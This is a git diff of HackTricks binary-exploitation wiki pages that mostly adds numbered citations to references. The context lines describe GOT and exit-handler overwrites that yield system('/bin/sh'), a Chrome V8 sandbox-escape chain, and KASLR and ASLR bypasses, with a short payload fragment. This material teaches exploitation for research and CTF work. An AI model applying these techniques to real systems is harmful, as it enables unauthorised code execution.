diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
index 188f20fa7e5..566cc101197 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
@@ -36,7 +36,7 @@ Using GEF you can **start** a **debugging** session and execute **`got`** to see
In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this arbitrary write is to **override a GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function** for example.
-Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function).
+Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function).[[1]](#references)
If **`system`** **isn't used** by the binary, the system function **won't** have an entry in the PLT. In this scenario, you will **need to leak first the address** of the `system` function and then overwrite the GOT to point to this address.
@@ -48,7 +48,7 @@ The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice
Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution.
-Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
+Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).[[3]](#references)
### **Free2system**
@@ -72,7 +72,7 @@ Moreover, if `puts` is used with user input, it's possible to overwrite the `str
A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\
Then, pointing `free` to `system` and freeing a chunk where was written `/bin/sh\x00` will execute a shell.
-It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
+It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**[[4]](#references)
## **Protections**
@@ -85,8 +85,10 @@ The **Full RELRO** protection is meant to protect agains this kind of technique
## References
-- [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
-- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
+- [1] [Exploiting a GOT overwrite (ir0nstone)](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
+- [2] [One gadgets and malloc hook (ir0nstone)](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
+- [3] [Code execution on the last libc - targetting libc GOT entries (nobodyisnobody)](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)
+- [4] [CTF Wiki - chunk extend/overlapping (HITCON Training lab13)](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md
index af4e0d6aa10..8783ee59643 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md
@@ -4,9 +4,9 @@
## Overview
-An out-of-bounds **zero-write** vulnerability in Apple macOS **Scriptable Image Processing System** (`sips`) ICC profile parser (macOS 15.0.1, `sips-307`) allows an attacker to corrupt heap metadata and pivot the primitive into full code-execution. The bug is located in the handling of the `offsetToCLUT` field of the `lutAToBType` (`mAB `) and `lutBToAType` (`mBA `) tags. If attackers set `offsetToCLUT == tagDataSize`, the parser erases **16 bytes past the end of the heap buffer**. Heap spraying lets the attacker zero-out allocator structures or C++ pointers that will later be dereferenced, yielding an **arbitrary-write-to-exec** chain (CVE-2024-44236, CVSS 7.8).
+An out-of-bounds **zero-write** vulnerability in Apple macOS **Scriptable Image Processing System** (`sips`) ICC profile parser (macOS 15.0.1, `sips-307`) allows an attacker to corrupt heap metadata and pivot the primitive into full code-execution. The bug is located in the handling of the `offsetToCLUT` field of the `lutAToBType` (`mAB `) and `lutBToAType` (`mBA `) tags. If attackers set `offsetToCLUT == tagDataSize`, the parser erases **16 bytes past the end of the heap buffer**. Heap spraying lets the attacker zero-out allocator structures or C++ pointers that will later be dereferenced, yielding an **arbitrary-write-to-exec** chain (CVE-2024-44236, CVSS 7.8).[[1]](#references)
-> Apple patched the bug in macOS Sonoma 15.2 / Ventura 14.7.1 (October 30, 2024). A second variant (CVE-2025-24185) was fixed in macOS 15.5 and iOS/iPadOS 18.5 on April 1, 2025.
+> Apple patched the bug in macOS Sonoma 15.2 / Ventura 14.7.1 (October 30, 2024). A second variant (CVE-2025-24185) was fixed in macOS 15.5 and iOS/iPadOS 18.5 on April 1, 2025.[[2]](#references)
## Vulnerable Code
@@ -95,9 +95,7 @@ Opening or processing a crafted ICC profile leads to remote **arbitrary code exe
## References
-* Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)”
- https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
-* Apple security updates HT213981 “About the security content of macOS Sonoma 15.2”
- https://support.apple.com/en-us/HT213981
+- [1] [Apple macOS ICC Profile Parsing Out-Of-Bounds Write Remote Code Execution (ZDI-24-1445, CVE-2024-44236)](https://www.zerodayinitiative.com/advisories/ZDI-24-1445/)
+- [2] [About the security content of macOS Sonoma 15.2 (Apple HT213981)](https://support.apple.com/en-us/HT213981)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md
index 7c31a3bd597..a29ba1beb24 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md
@@ -43,7 +43,7 @@ Note that entries in `.fini_array` are called in **reverse** order, so you proba
#### Eternal loop
-In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can:
+In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can:[[1]](#references)
- Use your first write to **call the vulnerable arbitrary write function** again
- Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`**
@@ -53,6 +53,10 @@ In order to abuse **`.fini_array`** to get an eternal loop you can [**check what
> Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**.
> In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** is made **read-only** also.
+## References
+
+- [1] [guyinatuxedo - Insomni'hack 2018 onewrite (stack pivot / .fini_array loop)](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
+
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
index 4c9025e3745..d690e1d6a06 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
@@ -12,11 +12,11 @@ If you can **modify** the **address** of any of these **functions** to point to
Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x86_64**.\
The **encryption function** is **`PTR_MANGLE`**. However, the exact implementation is **architecture- and glibc-version-dependent**: the generic glibc header is a no-op, but modern arch-specific implementations exist for important targets such as **x86_64** and **aarch64**. Therefore, **do not assume** that a non-x86 target automatically has **unmangled** exit pointers; check the target build's `pointer_guard.h` / `PTR_MANGLE` macros first.
-You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
+You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)[[3]](#references)
## link_map
-As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors.
+As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors.[[4]](#references)
> [!CAUTION]
> If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it.
@@ -52,8 +52,8 @@ There are a **couple of options**:
- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code
- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled.
- - [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array.
- - According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example.
+ - [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array.[[5]](#references)
+ - According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example.[[4]](#references)[[6]](#references)
Following the previous code you can find another interesting section with the code:
@@ -65,11 +65,11 @@ if (fini != NULL)
}
```
-In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).
+In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).[[4]](#references)
## TLS-Storage dtor_list overwrite in **`__run_exit_handlers`**
-As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered.
+As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered.[[4]](#references)
Code from `_run_exit_handlers()`:
@@ -136,11 +136,11 @@ Finally notice that the stored pointer is not only going to be xored with the co
So you need to take this into account before adding a new address.
-Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite).
+Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite).[[4]](#references)
## Other mangled pointers in **`__run_exit_handlers`**
-This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called.
+This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called.[[4]](#references)
Let's check more code of this function:
@@ -233,11 +233,11 @@ Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to cont
It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**.
To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\
-You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
+You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).[[4]](#references)
## Practical `__exit_funcs` / `initial` forgery on modern glibc
-Since classic hooks such as `__free_hook` disappeared from normal modern-glibc targets, a very common follow-up to an arbitrary write is to **forge a fake `struct exit_function_list`** and then repoint **`__exit_funcs`** to it. This is basically the most practical version of abusing `__run_exit_handlers()` on recent glibc releases.
+Since classic hooks such as `__free_hook` disappeared from normal modern-glibc targets, a very common follow-up to an arbitrary write is to **forge a fake `struct exit_function_list`** and then repoint **`__exit_funcs`** to it. This is basically the most practical version of abusing `__run_exit_handlers()` on recent glibc releases.[[1]](#references)[[2]](#references)
The important points are:
@@ -292,8 +292,12 @@ If `__exit_funcs` is already corrupted, inspect the first entry and verify: `fla
## References
-- [Code execution part 1: from exit to system](https://blog.rop.la/en/exploiting/2024/06/11/code-exec-part1-from-exit-to-system.html)
-- [Dead or Alive - forging custom exit handlers on modern glibc](https://draksec.cz/blog/htb-uni-ctf-24/dead-or-alive/)
+- [1] [Code execution part 1: from exit to system](https://blog.rop.la/en/exploiting/2024/06/11/code-exec-part1-from-exit-to-system.html)
+- [2] [Dead or Alive - forging custom exit handlers on modern glibc](https://draksec.cz/blog/htb-uni-ctf-24/dead-or-alive/)
+- [3] [Notes on abusing exit handlers](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
+- [4] [Code execution on the last libc (nobodyisnobody)](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)
+- [5] [DanteCTF 2023 - Sentence To Hell writeup](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell)
+- [6] [ångstromCTF 2021 - Wall Street writeup](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/array-indexing.md b/src/binary-exploitation/array-indexing.md
index 6c3a37e22ce..a8c9ea83afb 100644
--- a/src/binary-exploitation/array-indexing.md
+++ b/src/binary-exploitation/array-indexing.md
@@ -9,15 +9,19 @@ This category includes all vulnerabilities that occur because it is possible to
However he you can find some nice **examples**:
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
- - There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`.
+ - There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`.[[1]](#references)
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
- - 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there.
+ - 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there.[[2]](#references)
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
- - 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used.
+ - 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used.[[3]](#references)
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
-
+ - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).[[4]](#references)
+## References
+- [1] [Nightmare: SwampCTF 2019 – dreamheaps (colliding index arrays)](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
+- [2] [Nightmare: CSAW 2018 – doubletrouble](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
+- [3] [SECCON CTF 2019 – sum write-up (faraz.faith)](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
+- [4] [Nightmare: ret2system – tu_guestbook](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/chrome-exploiting.md b/src/binary-exploitation/chrome-exploiting.md
index 13478b5b0e3..b7540af9ad9 100644
--- a/src/binary-exploitation/chrome-exploiting.md
+++ b/src/binary-exploitation/chrome-exploiting.md
@@ -6,7 +6,7 @@
> The goal is to give pentesters and exploit-developers the minimum background necessary to reproduce or adapt the techniques for their own research.
## 1. Chrome Architecture Recap
-Understanding the attack surface requires knowing where code is executed and which sandboxes apply.
+Understanding the attack surface requires knowing where code is executed and which sandboxes apply.[[2]](#references)Chrome process & sandbox layout
@@ -40,7 +40,7 @@ Layered defence-in-depth:
* **Renderer ↔ Browser split** ensured via **Mojo/IPC** message passing; the renderer has *no* native FS/network access.
* **OS sandboxes** further contain each process (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profiles).
-A *remote* attacker therefore needs **three** successive primitives:
+A *remote* attacker therefore needs **three** successive primitives:[[1]](#references)
1. Memory corruption inside V8 to get **arbitrary RW inside the V8 heap**.
2. A second bug allowing the attacker to **escape the V8 sandbox to full renderer memory**.
@@ -50,7 +50,7 @@ A *remote* attacker therefore needs **three** successive primitives:
## 2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)
-A flaw in TurboFan’s **Turboshaft** optimisation mis-classifies **WasmGC reference types** when the value is produced and consumed inside a *single basic block loop*.
+A flaw in TurboFan’s **Turboshaft** optimisation mis-classifies **WasmGC reference types** when the value is produced and consumed inside a *single basic block loop*.[[1]](#references)
Effect:
* The compiler **skips the type-check**, treating a *reference* (`externref/anyref`) as an *int64*.
@@ -97,7 +97,7 @@ Outcome: **arbitrary read/write within V8**.
When a Wasm function is tier-up-compiled, a **JS ↔ Wasm wrapper** is generated. A signature-mismatch bug causes the wrapper to write past the end of a trusted **`Tuple2`** object when the Wasm function is re-optimised *while still on the stack*.
-Overwriting the 2 × 64-bit fields of the `Tuple2` object yields **read/write on any address inside the Renderer process**, effectively bypassing the V8 sandbox.
+Overwriting the 2 × 64-bit fields of the `Tuple2` object yields **read/write on any address inside the Renderer process**, effectively bypassing the V8 sandbox.[[1]](#references)
Key steps in exploit:
1. Get function into **Tier-Up** state by alternating turbofan/baseline code.
@@ -120,7 +120,7 @@ After corruption we possess a fully-featured **renderer R/W primitive**.
## 4. Stage 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)
-The **Mojo** IPC interface `blink.mojom.DragService.startDragging()` can be called from the Renderer with *partially trusted* parameters. By crafting a `DragData` structure pointing to an **arbitrary file path** the renderer convinces the browser to perform a *native* drag-and-drop **outside the renderer sandbox**.
+The **Mojo** IPC interface `blink.mojom.DragService.startDragging()` can be called from the Renderer with *partially trusted* parameters. By crafting a `DragData` structure pointing to an **arbitrary file path** the renderer convinces the browser to perform a *native* drag-and-drop **outside the renderer sandbox**.[[1]](#references)
Abusing this we can programmatically “drag” a malicious EXE (previously dropped in a world-writable location) onto the Desktop, where Windows automatically executes certain file-types once dropped.
@@ -192,6 +192,8 @@ linux-kernel-exploitation/af-unix-msg-oob-uaf-skb-primitives.md
## References
-- [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
-- [Chromium security architecture](https://chromium.org/developers/design-documents/security)
+
+- [1] [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
+- [2] [Chromium security architecture](https://chromium.org/developers/design-documents/security)
+
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md
index be181377625..f2ae62f1450 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md
@@ -184,7 +184,7 @@ Therefore, if the attacker is in the same computer as the binary being exploited
- **The challenge is giving a leak**
-If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):
+If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):[[4]](#references)Python exploit with given libc leak
@@ -227,7 +227,7 @@ ret2plt.md
- **Format Strings Arbitrary Read**
-Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
+Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):[[5]](#references)
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
@@ -261,7 +261,7 @@ ret2ret.md
The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\
However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent)
-(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
+(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))[[6]](#references)
For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit.
@@ -322,7 +322,7 @@ Note therefore how it might be possible to **bypass ASLR abusing the vdso** if t
### KASLR on ARM64 (Android): bypass via fixed linear map
-On many arm64 Android kernels the kernel linear map (direct map) base is fixed across boots. Kernel VAs for physical pages become predictable, breaking KASLR for targets reachable via the direct map.
+On many arm64 Android kernels the kernel linear map (direct map) base is fixed across boots. Kernel VAs for physical pages become predictable, breaking KASLR for targets reachable via the direct map.[[1]](#references)
- For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
- PAGE_OFFSET = 0xffffff8000000000
@@ -331,7 +331,7 @@ On many arm64 Android kernels the kernel linear map (direct map) base is fixed a
**Leaking PHYS_OFFSET (rooted or with a kernel read primitive)**
- `grep memstart /proc/kallsyms` to find `memstart_addr`
-- Read 8 bytes at that address (LE) using any kernel read (e.g., tracing-BPF helper calling `BPF_FUNC_probe_read_kernel`)
+- Read 8 bytes at that address (LE) using any kernel read (e.g., tracing-BPF helper calling `BPF_FUNC_probe_read_kernel`)[[3]](#references)
- Compute direct-map VAs: `virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)`
**Exploitation impact**
@@ -348,12 +348,15 @@ On many arm64 Android kernels the kernel linear map (direct map) base is fixed a
**How it’s fixed**
- Limited kernel VA space plus CONFIG_MEMORY_HOTPLUG reserves VA for future hotplug, pushing the linear map to the lowest VA (fixed base).
-- Upstream arm64 removed linear-map randomization (commit `1db780bafa4c`).
+- Upstream arm64 removed linear-map randomization (commit `1db780bafa4c`).[[2]](#references)
-
## References
-- [Defeating KASLR by Doing Nothing at All (Project Zero)](https://googleprojectzero.blogspot.com/2025/11/defeating-kaslr-by-doing-nothing-at-all.html)
-- [arm64: remove linear map randomization (commit 1db780bafa4c)](https://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux.git/commit/?id=1db780bafa4c)
-- [Tracing BPF arbitrary read helper (Project Zero issue 434208461)](https://project-zero.issues.chromium.org/issues/434208461)
+- [1] [Defeating KASLR by Doing Nothing at All (Project Zero)](https://googleprojectzero.blogspot.com/2025/11/defeating-kaslr-by-doing-nothing-at-all.html)
+- [2] [arm64: remove linear map randomization (commit 1db780bafa4c)](https://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux.git/commit/?id=1db780bafa4c)
+- [3] [Tracing BPF arbitrary read helper (Project Zero issue 434208461)](https://project-zero.issues.chromium.org/issues/434208461)
+- [4] [ir0nstone – ASLR bypass with a given leak](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)
+- [5] [ir0nstone – PLT and GOT format string leak](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)
+- [6] [guyinatuxedo – hacklu15 stackstuff (vsyscall)](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md
index 793c0966194..c0304f73305 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md
@@ -6,7 +6,7 @@
The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**.
